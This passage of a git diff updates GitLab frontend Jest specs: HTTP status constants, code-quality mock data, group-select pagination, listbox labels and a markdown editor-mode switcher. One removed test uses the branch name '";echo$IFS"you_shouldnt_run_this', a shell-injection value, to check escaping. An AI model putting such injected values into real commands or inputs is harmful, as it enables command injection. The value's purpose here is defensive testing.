- mockApi(httpStatusCodes.OK, codeQualityResponseResolvedAndNewErrors);
+ mockApi(HTTP_STATUS_OK, codeQualityResponseResolvedAndNewErrors);
createComponent();
diff --git a/spec/frontend/vue_merge_request_widget/extentions/code_quality/mock_data.js b/spec/frontend/vue_merge_request_widget/extentions/code_quality/mock_data.js
index 2e8e70f25db..cb23b730a93 100644
--- a/spec/frontend/vue_merge_request_widget/extentions/code_quality/mock_data.js
+++ b/spec/frontend/vue_merge_request_widget/extentions/code_quality/mock_data.js
@@ -17,9 +17,34 @@ export const codeQualityResponseNewErrors = {
resolved_errors: [],
existing_errors: [],
summary: {
- total: 2,
+ total: 12235,
resolved: 0,
- errored: 2,
+ errored: 12235,
+ },
+};
+
+export const codeQualityResponseResolvedErrors = {
+ status: 'success',
+ new_errors: [],
+ resolved_errors: [
+ {
+ description: "Parsing error: 'return' outside of function",
+ severity: 'minor',
+ file_path: 'index.js',
+ line: 12,
+ },
+ {
+ description: 'TODO found',
+ severity: 'minor',
+ file_path: '.gitlab-ci.yml',
+ line: 73,
+ },
+ ],
+ existing_errors: [],
+ summary: {
+ total: 12235,
+ resolved: 0,
+ errored: 12235,
},
};
@@ -43,9 +68,9 @@ export const codeQualityResponseResolvedAndNewErrors = {
],
existing_errors: [],
summary: {
- total: 2,
+ total: 12233,
resolved: 1,
- errored: 1,
+ errored: 12233,
},
};
@@ -55,8 +80,8 @@ export const codeQualityResponseNoErrors = {
resolved_errors: [],
existing_errors: [],
summary: {
- total: 0,
+ total: 12234,
resolved: 0,
- errored: 0,
+ errored: 12234,
},
};
diff --git a/spec/frontend/vue_merge_request_widget/mr_widget_how_to_merge_modal_spec.js b/spec/frontend/vue_merge_request_widget/mr_widget_how_to_merge_modal_spec.js
index d038660e6d3..015d394312a 100644
--- a/spec/frontend/vue_merge_request_widget/mr_widget_how_to_merge_modal_spec.js
+++ b/spec/frontend/vue_merge_request_widget/mr_widget_how_to_merge_modal_spec.js
@@ -34,7 +34,7 @@ describe('MRWidgetHowToMerge', () => {
});
it('renders a selection of markdown fields', () => {
- expect(findInstructionsFields().length).toBe(3);
+ expect(findInstructionsFields().length).toBe(2);
});
it('renders a tip including a link to docs when a valid link is present', () => {
@@ -48,23 +48,11 @@ describe('MRWidgetHowToMerge', () => {
it('should render different instructions based on if the user can merge', () => {
mountComponent({ props: { canMerge: true } });
- expect(findInstructionsFields().at(2).text()).toContain('git push origin');
- });
-
- it('should render different instructions based on if the merge is based off a fork', () => {
- mountComponent({ props: { isFork: true } });
- expect(findInstructionsFields().at(0).text()).toContain('FETCH_HEAD');
- });
-
- it('escapes the target branch name shell-secure', () => {
- mountComponent({ props: { targetBranch: '";echo$IFS"you_shouldnt_run_this' } });
-
- expect(findInstructionsFields().at(1).text()).toContain('\'";echo$IFS"you_shouldnt_run_this\'');
+ expect(findInstructionsFields().at(1).text()).toContain('git push origin');
});
it('escapes the source branch name shell-secure', () => {
mountComponent({ props: { sourceBranch: 'branch-of-$USER' } });
-
expect(findInstructionsFields().at(0).text()).toContain("'branch-of-$USER'");
});
});
diff --git a/spec/frontend/vue_shared/components/ci_badge_link_spec.js b/spec/frontend/vue_shared/components/ci_badge_link_spec.js
index 07cbfe1e79b..4f24ec2d015 100644
--- a/spec/frontend/vue_shared/components/ci_badge_link_spec.js
+++ b/spec/frontend/vue_shared/components/ci_badge_link_spec.js
@@ -1,6 +1,6 @@
import { GlLink } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
+import CiBadgeLink from '~/vue_shared/components/ci_badge_link.vue';
import CiIcon from '~/vue_shared/components/ci_icon.vue';
jest.mock('~/lib/utils/url_utility', () => ({
@@ -79,7 +79,7 @@ describe('CI Badge Link Component', () => {
const findIcon = () => wrapper.findComponent(CiIcon);
const createComponent = (propsData) => {
- wrapper = shallowMount(CiBadge, { propsData });
+ wrapper = shallowMount(CiBadgeLink, { propsData });
};
afterEach(() => {
diff --git a/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js b/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js
index 66ef473f368..63c22aff3d5 100644
--- a/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js
+++ b/spec/frontend/vue_shared/components/filtered_search_bar/store/modules/filters/actions_spec.js
@@ -4,7 +4,7 @@ import testAction from 'helpers/vuex_action_helper';
import { mockBranches } from 'jest/vue_shared/components/filtered_search_bar/mock_data';
import Api from '~/api';
import { createAlert } from '~/flash';
-import httpStatusCodes from '~/lib/utils/http_status';
+import { HTTP_STATUS_OK, HTTP_STATUS_SERVICE_UNAVAILABLE } from '~/lib/utils/http_status';
import * as actions from '~/vue_shared/components/filtered_search_bar/store/modules/filters/actions';
import * as types from '~/vue_shared/components/filtered_search_bar/store/modules/filters/mutation_types';
import initialState from '~/vue_shared/components/filtered_search_bar/store/modules/filters/state';
@@ -122,7 +122,7 @@ describe('Filters actions', () => {
':id',
encodeURIComponent(projectEndpoint),
);
- mock.onGet(url).replyOnce(httpStatusCodes.OK, mockBranches);
+ mock.onGet(url).replyOnce(HTTP_STATUS_OK, mockBranches);
});
it('dispatches RECEIVE_BRANCHES_SUCCESS with received data', () => {
@@ -143,7 +143,7 @@ describe('Filters actions', () => {
describe('error', () => {
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.SERVICE_UNAVAILABLE);
+ mock.onAny().replyOnce(HTTP_STATUS_SERVICE_UNAVAILABLE);
});
it('dispatches RECEIVE_BRANCHES_ERROR', () => {
@@ -155,7 +155,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_BRANCHES },
{
type: types.RECEIVE_BRANCHES_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
@@ -177,7 +177,7 @@ describe('Filters actions', () => {
describe('success', () => {
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.OK, filterUsers);
+ mock.onAny().replyOnce(HTTP_STATUS_OK, filterUsers);
});
it('dispatches RECEIVE_AUTHORS_SUCCESS with received data and groupEndpoint set', () => {
@@ -215,7 +215,7 @@ describe('Filters actions', () => {
describe('error', () => {
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.SERVICE_UNAVAILABLE);
+ mock.onAny().replyOnce(HTTP_STATUS_SERVICE_UNAVAILABLE);
});
it('dispatches RECEIVE_AUTHORS_ERROR and groupEndpoint set', () => {
@@ -227,7 +227,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_AUTHORS },
{
type: types.RECEIVE_AUTHORS_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
@@ -246,7 +246,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_AUTHORS },
{
type: types.RECEIVE_AUTHORS_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
@@ -261,7 +261,7 @@ describe('Filters actions', () => {
describe('fetchMilestones', () => {
describe('success', () => {
beforeEach(() => {
- mock.onGet(milestonesEndpoint).replyOnce(httpStatusCodes.OK, filterMilestones);
+ mock.onGet(milestonesEndpoint).replyOnce(HTTP_STATUS_OK, filterMilestones);
});
it('dispatches RECEIVE_MILESTONES_SUCCESS with received data', () => {
@@ -282,7 +282,7 @@ describe('Filters actions', () => {
describe('error', () => {
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.SERVICE_UNAVAILABLE);
+ mock.onAny().replyOnce(HTTP_STATUS_SERVICE_UNAVAILABLE);
});
it('dispatches RECEIVE_MILESTONES_ERROR', () => {
@@ -294,7 +294,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_MILESTONES },
{
type: types.RECEIVE_MILESTONES_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
@@ -307,7 +307,7 @@ describe('Filters actions', () => {
describe('success', () => {
let restoreVersion;
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.OK, filterUsers);
+ mock.onAny().replyOnce(HTTP_STATUS_OK, filterUsers);
restoreVersion = gon.api_version;
gon.api_version = 'v1';
});
@@ -352,7 +352,7 @@ describe('Filters actions', () => {
describe('error', () => {
let restoreVersion;
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.SERVICE_UNAVAILABLE);
+ mock.onAny().replyOnce(HTTP_STATUS_SERVICE_UNAVAILABLE);
restoreVersion = gon.api_version;
gon.api_version = 'v1';
});
@@ -370,7 +370,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_ASSIGNEES },
{
type: types.RECEIVE_ASSIGNEES_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
@@ -389,7 +389,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_ASSIGNEES },
{
type: types.RECEIVE_ASSIGNEES_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
@@ -404,7 +404,7 @@ describe('Filters actions', () => {
describe('fetchLabels', () => {
describe('success', () => {
beforeEach(() => {
- mock.onGet(labelsEndpoint).replyOnce(httpStatusCodes.OK, filterLabels);
+ mock.onGet(labelsEndpoint).replyOnce(HTTP_STATUS_OK, filterLabels);
});
it('dispatches RECEIVE_LABELS_SUCCESS with received data', () => {
@@ -425,7 +425,7 @@ describe('Filters actions', () => {
describe('error', () => {
beforeEach(() => {
- mock.onAny().replyOnce(httpStatusCodes.SERVICE_UNAVAILABLE);
+ mock.onAny().replyOnce(HTTP_STATUS_SERVICE_UNAVAILABLE);
});
it('dispatches RECEIVE_LABELS_ERROR', () => {
@@ -437,7 +437,7 @@ describe('Filters actions', () => {
{ type: types.REQUEST_LABELS },
{
type: types.RECEIVE_LABELS_ERROR,
- payload: httpStatusCodes.SERVICE_UNAVAILABLE,
+ payload: HTTP_STATUS_SERVICE_UNAVAILABLE,
},
],
[],
diff --git a/spec/frontend/vue_shared/components/group_select/group_select_spec.js b/spec/frontend/vue_shared/components/group_select/group_select_spec.js
index c10b32c6acc..87dd7795b98 100644
--- a/spec/frontend/vue_shared/components/group_select/group_select_spec.js
+++ b/spec/frontend/vue_shared/components/group_select/group_select_spec.js
@@ -1,20 +1,18 @@
import { nextTick } from 'vue';
-import { GlCollapsibleListbox } from '@gitlab/ui';
+import { GlFormGroup, GlCollapsibleListbox } from '@gitlab/ui';
import MockAdapter from 'axios-mock-adapter';
import { shallowMountExtended } from 'helpers/vue_test_utils_helper';
import axios from '~/lib/utils/axios_utils';
-import { createAlert } from '~/flash';
import GroupSelect from '~/vue_shared/components/group_select/group_select.vue';
import {
TOGGLE_TEXT,
+ RESET_LABEL,
FETCH_GROUPS_ERROR,
FETCH_GROUP_ERROR,
QUERY_TOO_SHORT_MESSAGE,
} from '~/vue_shared/components/group_select/constants';
import waitForPromises from 'helpers/wait_for_promises';
-jest.mock('~/flash');
-
describe('GroupSelect', () => {
let wrapper;
let mock;
@@ -26,22 +24,34 @@ describe('GroupSelect', () => {
};
const groupEndpoint = `/api/undefined/groups/${groupMock.id}`;
+ // Stubs
+ const GlAlert = {
+ template: '<div><slot /></div>',
+ };
+
// Props
+ const label = 'label';
const inputName = 'inputName';
const inputId = 'inputId';
// Finders
+ const findFormGroup = () => wrapper.findComponent(GlFormGroup);
const findListbox = () => wrapper.findComponent(GlCollapsibleListbox);
const findInput = () => wrapper.findByTestId('input');
+ const findAlert = () => wrapper.findComponent(GlAlert);
// Helpers
const createComponent = ({ props = {} } = {}) => {
wrapper = shallowMountExtended(GroupSelect, {
propsData: {
+ label,
inputName,
inputId,
...props,
},
+ stubs: {
+ GlAlert,
+ },
});
};
const openListbox = () => findListbox().vm.$emit('shown');
@@ -65,6 +75,12 @@ describe('GroupSelect', () => {
mock.restore();
});
+ it('passes the label to GlFormGroup', () => {
+ createComponent();
+
+ expect(findFormGroup().attributes('label')).toBe(label);
+ });
+
describe('on mount', () => {
it('fetches groups when the listbox is opened', async () => {
createComponent();
@@ -94,13 +110,13 @@ describe('GroupSelect', () => {
.reply(200, [{ full_name: 'notTheSelectedGroup', id: '2' }]);
mock.onGet(groupEndpoint).reply(500);
createComponent({ props: { initialSelection: groupMock.id } });
+
+ expect(findAlert().exists()).toBe(false);
+
await waitForPromises();
- expect(createAlert).toHaveBeenCalledWith({
- message: FETCH_GROUP_ERROR,
- error: expect.any(Error),
- parent: wrapper.vm.$el,
- });
+ expect(findAlert().exists()).toBe(true);
+ expect(findAlert().text()).toBe(FETCH_GROUP_ERROR);
});
});
});
@@ -109,13 +125,12 @@ describe('GroupSelect', () => {
mock.onGet('/api/undefined/groups.json').reply(500);
createComponent();
openListbox();
+ expect(findAlert().exists()).toBe(false);
+
await waitForPromises();
- expect(createAlert).toHaveBeenCalledWith({
- message: FETCH_GROUPS_ERROR,
- error: expect.any(Error),
- parent: wrapper.vm.$el,
- });
+ expect(findAlert().exists()).toBe(true);
+ expect(findAlert().text()).toBe(FETCH_GROUPS_ERROR);
});
describe('selection', () => {
@@ -186,7 +201,11 @@ describe('GroupSelect', () => {
await waitForPromises();
expect(mock.history.get).toHaveLength(2);
- expect(mock.history.get[1].params).toStrictEqual({ search: searchString });
+ expect(mock.history.get[1].params).toStrictEqual({
+ page: 1,
+ per_page: 20,
+ search: searchString,
+ });
});
it('shows a notice if the search query is too short', async () => {
@@ -199,4 +218,105 @@ describe('GroupSelect', () => {
expect(findListbox().props('noResultsText')).toBe(QUERY_TOO_SHORT_MESSAGE);
});
});
+
+ describe('pagination', () => {
+ const searchString = 'searchString';
+
+ beforeEach(async () => {
+ let requestCount = 0;
+ mock.onGet('/api/undefined/groups.json').reply(({ params }) => {
+ requestCount += 1;
+ return [
+ 200,
+ [
+ {
+ full_name: `Group [page: ${params.page} - search: ${params.search}]`,
+ id: requestCount,
+ },
+ ],
+ {
+ page: params.page,
+ 'x-total-pages': 3,
+ },
+ ];
+ });
+ createComponent();
+ openListbox();
+ findListbox().vm.$emit('bottom-reached');
+ return waitForPromises();
+ });
+
+ it('fetches the next page when bottom is reached', async () => {
+ expect(mock.history.get).toHaveLength(2);
+ expect(mock.history.get[1].params).toStrictEqual({
+ page: 2,
+ per_page: 20,
+ search: '',
+ });
+ });
+
+ it('fetches the first page when the search query changes', async () => {
+ search(searchString);
+ await waitForPromises();
+
+ expect(mock.history.get).toHaveLength(3);
+ expect(mock.history.get[2].params).toStrictEqual({
+ page: 1,
+ per_page: 20,
+ search: searchString,
+ });
+ });
+
+ it('retains the search query when infinite scrolling', async () => {
+ search(searchString);
+ await waitForPromises();
+ findListbox().vm.$emit('bottom-reached');
+ await waitForPromises();
+
+ expect(mock.history.get).toHaveLength(4);
+ expect(mock.history.get[3].params).toStrictEqual({
+ page: 2,
+ per_page: 20,
+ search: searchString,
+ });
+ });
+
+ it('pauses infinite scroll after fetching the last page', async () => {
+ expect(findListbox().props('infiniteScroll')).toBe(true);
+
+ findListbox().vm.$emit('bottom-reached');
+ await waitForPromises();
+
+ expect(findListbox().props('infiniteScroll')).toBe(false);
+ });
+
+ it('resumes infinite scroll when search query changes', async () => {
+ findListbox().vm.$emit('bottom-reached');
+ await waitForPromises();
+
+ expect(findListbox().props('infiniteScroll')).toBe(false);
+
+ search(searchString);
+ await waitForPromises();
+
+ expect(findListbox().props('infiniteScroll')).toBe(true);
+ });
+ });
+
+ it.each`
+ description | clearable | expectedLabel
+ ${'passes'} | ${true} | ${RESET_LABEL}
+ ${'does not pass'} | ${false} | ${''}
+ `(
+ '$description the reset button label to the listbox when clearable is $clearable',
+ ({ clearable, expectedLabel }) => {
+ createComponent({
+ props: {
+ clearable,
+ },
+ });
+
+ expect(findListbox().props('resetButtonLabel')).toBe(expectedLabel);
+ },
+ );
});
diff --git a/spec/frontend/vue_shared/components/header_ci_component_spec.js b/spec/frontend/vue_shared/components/header_ci_component_spec.js
index aea76f164f0..94e1ece8c6b 100644
--- a/spec/frontend/vue_shared/components/header_ci_component_spec.js
+++ b/spec/frontend/vue_shared/components/header_ci_component_spec.js
@@ -84,11 +84,12 @@ describe('Header CI Component', () => {
expect(findUserLink().text()).toContain(defaultProps.user.username);
});
- it('has the correct data attributes', () => {
+ it('has the correct HTML attributes', () => {
expect(findUserLink().attributes()).toMatchObject({
'data-user-id': defaultProps.user.id.toString(),
'data-username': defaultProps.user.username,
'data-name': defaultProps.user.name,
+ href: defaultProps.user.web_url,
});
});
diff --git a/spec/frontend/vue_shared/components/listbox_input/listbox_input_spec.js b/spec/frontend/vue_shared/components/listbox_input/listbox_input_spec.js
index cb7262b15e3..7ed6a59c844 100644
--- a/spec/frontend/vue_shared/components/listbox_input/listbox_input_spec.js
+++ b/spec/frontend/vue_shared/components/listbox_input/listbox_input_spec.js
@@ -1,11 +1,13 @@
import { shallowMount } from '@vue/test-utils';
-import { GlListbox } from '@gitlab/ui';
+import { GlFormGroup, GlListbox } from '@gitlab/ui';
import ListboxInput from '~/vue_shared/components/listbox_input/listbox_input.vue';
describe('ListboxInput', () => {
let wrapper;
// Props
+ const label = 'label';
+ const decription = 'decription';
const name = 'name';
const defaultToggleText = 'defaultToggleText';
const items = [
@@ -21,30 +23,70 @@ describe('ListboxInput', () => {
options: [{ text: 'Item 3', value: '3' }],
},
];
+ const id = 'id';
// Finders
+ const findGlFormGroup = () => wrapper.findComponent(GlFormGroup);
const findGlListbox = () => wrapper.findComponent(GlListbox);
const findInput = () => wrapper.find('input');
const createComponent = (propsData) => {
wrapper = shallowMount(ListboxInput, {
propsData: {
+ label,
+ decription,
name,
defaultToggleText,
items,
...propsData,
},
+ attrs: {
+ id,
+ },
});
};
- describe('input attributes', () => {
+ describe('wrapper', () => {
+ it.each`
+ description | labelProp | descriptionProp | rendersGlFormGroup
+ ${'does not render'} | ${''} | ${''} | ${false}
+ ${'renders'} | ${'labelProp'} | ${''} | ${true}
+ ${'renders'} | ${''} | ${'descriptionProp'} | ${true}
+ ${'renders'} | ${'labelProp'} | ${'descriptionProp'} | ${true}
+ `(
+ "$description a GlFormGroup when label is '$labelProp' and description is '$descriptionProp'",
+ ({ labelProp, descriptionProp, rendersGlFormGroup }) => {
+ createComponent({ label: labelProp, description: descriptionProp });
+
+ expect(findGlFormGroup().exists()).toBe(rendersGlFormGroup);
+ },
+ );
+ });
+
+ describe('options', () => {
beforeEach(() => {
createComponent();
});
+ it('passes the label to the form group', () => {
+ expect(findGlFormGroup().attributes('label')).toBe(label);
+ });
+
+ it('passes the decription to the form group', () => {
+ expect(findGlFormGroup().attributes('decription')).toBe(decription);
+ });
+
it('sets the input name', () => {
expect(findInput().attributes('name')).toBe(name);
});
+
+ it('is not filterable with few items', () => {
+ expect(findGlListbox().props('searchable')).toBe(false);
+ });
+
+ it('passes attributes to the root element', () => {
+ expect(findGlFormGroup().attributes('id')).toBe(id);
+ });
});
describe('toggle text', () => {
@@ -91,12 +133,29 @@ describe('ListboxInput', () => {
});
describe('search', () => {
- beforeEach(() => {
- createComponent();
+ it('is searchable when there are more than 10 items', () => {
+ createComponent({
+ items: [
+ {
+ text: 'Group 1',
+ options: [...Array(10).keys()].map((index) => ({
+ text: index + 1,
+ value: String(index + 1),
+ })),
+ },
+ {
+ text: 'Group 2',
+ options: [{ text: 'Item 11', value: '11' }],
+ },
+ ],
+ });
+
+ expect(findGlListbox().props('searchable')).toBe(true);
});
it('passes all items to GlListbox by default', () => {
createComponent();
+
expect(findGlListbox().props('items')).toStrictEqual(items);
});
diff --git a/spec/frontend/vue_shared/components/markdown/editor_mode_dropdown_spec.js b/spec/frontend/vue_shared/components/markdown/editor_mode_dropdown_spec.js
new file mode 100644
index 00000000000..34071775b9c
--- /dev/null
+++ b/spec/frontend/vue_shared/components/markdown/editor_mode_dropdown_spec.js
@@ -0,0 +1,58 @@
+import { GlDropdown, GlDropdownItem } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import EditorModeDropdown from '~/vue_shared/components/markdown/editor_mode_dropdown.vue';
+
+describe('vue_shared/component/markdown/editor_mode_dropdown', () => {
+ let wrapper;
+
+ const createComponent = ({ value, size } = {}) => {
+ wrapper = shallowMount(EditorModeDropdown, {
+ propsData: {
+ value,
+ size,
+ },
+ });
+ };
+
+ const findDropdown = () => wrapper.findComponent(GlDropdown);
+ const findDropdownItem = (text) =>
+ wrapper
+ .findAllComponents(GlDropdownItem)
+ .filter((item) => item.text().startsWith(text))
+ .at(0);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe.each`
+ modeText | value | dropdownText | otherMode
+ ${'Rich text'} | ${'richText'} | ${'View markdown'} | ${'Markdown'}
+ ${'Markdown'} | ${'markdown'} | ${'View rich text'} | ${'Rich text'}
+ `('$modeText', ({ modeText, value, dropdownText, otherMode }) => {
+ beforeEach(() => {
+ createComponent({ value });
+ });
+
+ it('shows correct dropdown label', () => {
+ expect(findDropdown().props('text')).toEqual(dropdownText);
+ });
+
+ it('checks correct checked dropdown item', () => {
+ expect(findDropdownItem(modeText).props().isChecked).toBe(true);
+ expect(findDropdownItem(otherMode).props().isChecked).toBe(false);
+ });
+
+ it('emits event on click', () => {
+ findDropdownItem(modeText).vm.$emit('click');
+
+ expect(wrapper.emitted().input).toEqual([[value]]);
+ });
+ });
+
+ it('passes size to dropdown', () => {
+ createComponent({ size: 'small', value: 'markdown' });
+
+ expect(findDropdown().props('size')).toEqual('small');
+ });
+});
diff --git a/spec/frontend/vue_shared/components/markdown/field_spec.js b/spec/frontend/vue_shared/components/markdown/field_spec.js
index 285ea10c813..3b8e78bbadd 100644
--- a/spec/frontend/vue_shared/components/markdown/field_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/field_spec.js
@@ -37,7 +37,7 @@ describe('Markdown field component', () => {
axiosMock.restore();
});
- function createSubject({ lines = [], enablePreview = true } = {}) {
+ function createSubject({ lines = [], enablePreview = true, showContentEditorSwitcher } = {}) {
// We actually mount a wrapper component so that we can force Vue to rerender classes in order to test a regression
// caused by mixing Vanilla JS and Vue.
subject = mountExtended(
@@ -68,6 +68,7 @@ describe('Markdown field component', () => {
lines,
enablePreview,
restrictedToolBarItems,
+ showContentEditorSwitcher,
},
},
);
@@ -191,6 +192,7 @@ describe('Markdown field component', () => {
markdownDocsPath,
quickActionsDocsPath: '',
showCommentToolBar: true,
+ showContentEditorSwitcher: false,
});
});
});
@@ -342,4 +344,18 @@ describe('Markdown field component', () => {
restrictedToolBarItems,
);
});
+
+ describe('showContentEditorSwitcher', () => {
+ it('defaults to false', () => {
+ createSubject();
+
+ expect(findMarkdownToolbar().props('showContentEditorSwitcher')).toBe(false);
+ });
+
+ it('passes showContentEditorSwitcher', () => {
+ createSubject({ showContentEditorSwitcher: true });
+
+ expect(findMarkdownToolbar().props('showContentEditorSwitcher')).toBe(true);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/markdown/markdown_editor_spec.js b/spec/frontend/vue_shared/components/markdown/markdown_editor_spec.js
index 5f416db2676..e3df2cde1c1 100644
--- a/spec/frontend/vue_shared/components/markdown/markdown_editor_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/markdown_editor_spec.js
@@ -1,4 +1,3 @@
-import { GlSegmentedControl } from '@gitlab/ui';
import axios from 'axios';
import MockAdapter from 'axios-mock-adapter';
import { nextTick } from 'vue';
@@ -49,7 +48,6 @@ describe('vue_shared/component/markdown/markdown_editor', () => {
},
});
};
- const findSegmentedControl = () => wrapper.findComponent(GlSegmentedControl);
const findMarkdownField = () => wrapper.findComponent(MarkdownField);
const findTextarea = () => wrapper.find('textarea');
const findLocalStorageSync = () => wrapper.findComponent(LocalStorageSync);
@@ -97,36 +95,28 @@ describe('vue_shared/component/markdown/markdown_editor', () => {
expect(findTextarea().element.value).toBe(value);
});
- it('renders switch segmented control', () => {
+ it(`emits ${EDITING_MODE_CONTENT_EDITOR} event when enableContentEditor emitted from markdown editor`, async () => {
buildWrapper();
- expect(findSegmentedControl().props()).toEqual({
- checked: EDITING_MODE_MARKDOWN_FIELD,
- options: [
- {
- text: expect.any(String),
- value: EDITING_MODE_MARKDOWN_FIELD,
- },
- {
- text: expect.any(String),
- value: EDITING_MODE_CONTENT_EDITOR,
- },
- ],
- });
- });
+ findMarkdownField().vm.$emit('enableContentEditor');
- describe.each`
- editingMode
- ${EDITING_MODE_CONTENT_EDITOR}
- ${EDITING_MODE_MARKDOWN_FIELD}
- `('when segmented control emits change event with $editingMode value', ({ editingMode }) => {
- it(`emits ${editingMode} event`, () => {
- buildWrapper();
+ await nextTick();
- findSegmentedControl().vm.$emit('change', editingMode);
+ expect(wrapper.emitted(EDITING_MODE_CONTENT_EDITOR)).toHaveLength(1);
+ });
- expect(wrapper.emitted(editingMode)).toHaveLength(1);
+ it(`emits ${EDITING_MODE_MARKDOWN_FIELD} event when enableMarkdownEditor emitted from content editor`, async () => {
+ buildWrapper({
+ stubs: { ContentEditor: stubComponent(ContentEditor) },
});
+
+ findMarkdownField().vm.$emit('enableContentEditor');
+
+ await nextTick();
+
+ findContentEditor().vm.$emit('enableMarkdownEditor');
+
+ expect(wrapper.emitted(EDITING_MODE_MARKDOWN_FIELD)).toHaveLength(1);
});
describe(`when editingMode is ${EDITING_MODE_MARKDOWN_FIELD}`, () => {
@@ -159,11 +149,10 @@ describe('vue_shared/component/markdown/markdown_editor', () => {
expect(wrapper.emitted('keydown')).toHaveLength(1);
});
- describe(`when segmented control triggers input event with ${EDITING_MODE_CONTENT_EDITOR} value`, () => {
+ describe(`when markdown field triggers enableContentEditor event`, () => {
beforeEach(() => {
buildWrapper();
- findSegmentedControl().vm.$emit('input', EDITING_MODE_CONTENT_EDITOR);
- findSegmentedControl().vm.$emit('change', EDITING_MODE_CONTENT_EDITOR);
+ findMarkdownField().vm.$emit('enableContentEditor');
});
it('displays the content editor', () => {
@@ -202,7 +191,7 @@ describe('vue_shared/component/markdown/markdown_editor', () => {
describe(`when editingMode is ${EDITING_MODE_CONTENT_EDITOR}`, () => {
beforeEach(() => {
buildWrapper();
- findSegmentedControl().vm.$emit('input', EDITING_MODE_CONTENT_EDITOR);
+ findMarkdownField().vm.$emit('enableContentEditor');
});
describe('when autofocus is true', () => {
@@ -234,9 +223,9 @@ describe('vue_shared/component/markdown/markdown_editor', () => {
expect(wrapper.emitted('keydown')).toEqual([[event]]);
});
- describe(`when segmented control triggers input event with ${EDITING_MODE_MARKDOWN_FIELD} value`, () => {
+ describe(`when richText editor triggers enableMarkdownEditor event`, () => {
beforeEach(() => {
- findSegmentedControl().vm.$emit('input', EDITING_MODE_MARKDOWN_FIELD);
+ findContentEditor().vm.$emit('enableMarkdownEditor');
});
it('hides the content editor', () => {
@@ -251,29 +240,5 @@ describe('vue_shared/component/markdown/markdown_editor', () => {
expect(findLocalStorageSync().props().value).toBe(EDITING_MODE_MARKDOWN_FIELD);
});
});
-
- describe('when content editor emits loading event', () => {
- beforeEach(() => {
- findContentEditor().vm.$emit('loading');
- });
-
- it('disables switch editing mode control', () => {
- // This is the only way that I found to check the segmented control is disabled
- expect(findSegmentedControl().find('input[disabled]').exists()).toBe(true);
- });
-
- describe.each`
- event
- ${'loadingSuccess'}
- ${'loadingError'}
- `('when content editor emits $event event', ({ event }) => {
- beforeEach(() => {
- findContentEditor().vm.$emit(event);
- });
- it('enables the switch editing mode control', () => {
- expect(findSegmentedControl().find('input[disabled]').exists()).toBe(false);
- });
- });
- });
});
});
diff --git a/spec/frontend/vue_shared/components/markdown/toolbar_spec.js b/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
index f698794b951..b1a1dbbeb7a 100644
--- a/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
+++ b/spec/frontend/vue_shared/components/markdown/toolbar_spec.js
@@ -1,5 +1,6 @@
import { mount } from '@vue/test-utils';
import Toolbar from '~/vue_shared/components/markdown/toolbar.vue';
+import EditorModeDropdown from '~/vue_shared/components/markdown/editor_mode_dropdown.vue';
describe('toolbar', () => {
let wrapper;
@@ -47,4 +48,18 @@ describe('toolbar', () => {
expect(wrapper.find('.comment-toolbar').exists()).toBe(true);
});
});
+
+ describe('with content editor switcher', () => {
+ beforeEach(() => {
+ createMountedWrapper({
+ showContentEditorSwitcher: true,
+ });
+ });
+
+ it('re-emits event from switcher', () => {
+ wrapper.findComponent(EditorModeDropdown).vm.$emit('input', 'richText');
+
+ expect(wrapper.emitted('enableContentEditor')).toEqual([[]]);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap b/spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap
deleted file mode 100644
index 2ea8985b16a..00000000000
--- a/spec/frontend/vue_shared/components/runner_aws_deployments/__snapshots__/runner_aws_deployments_modal_spec.js.snap
+++ /dev/null
@@ -1,177 +0,0 @@
-// Jest Snapshot v1, https://goo.gl/fbAQLP
-
-exports[`RunnerAwsDeploymentsModal renders the modal 1`] = `
-<gl-modal-stub
- actionprimary="[object Object]"
- actionsecondary="[object Object]"
- arialabel=""
- dismisslabel="Close"
- modalclass=""
- modalid="runner-aws-deployments-modal"
- size="sm"
- title="Deploy GitLab Runner in AWS"
- titletag="h4"
->
- <p>
- Select your preferred option here. In the next step, you can choose the capacity for your runner in the AWS CloudFormation console.
- </p>
-
- <gl-form-radio-group-stub
- checked="[object Object]"
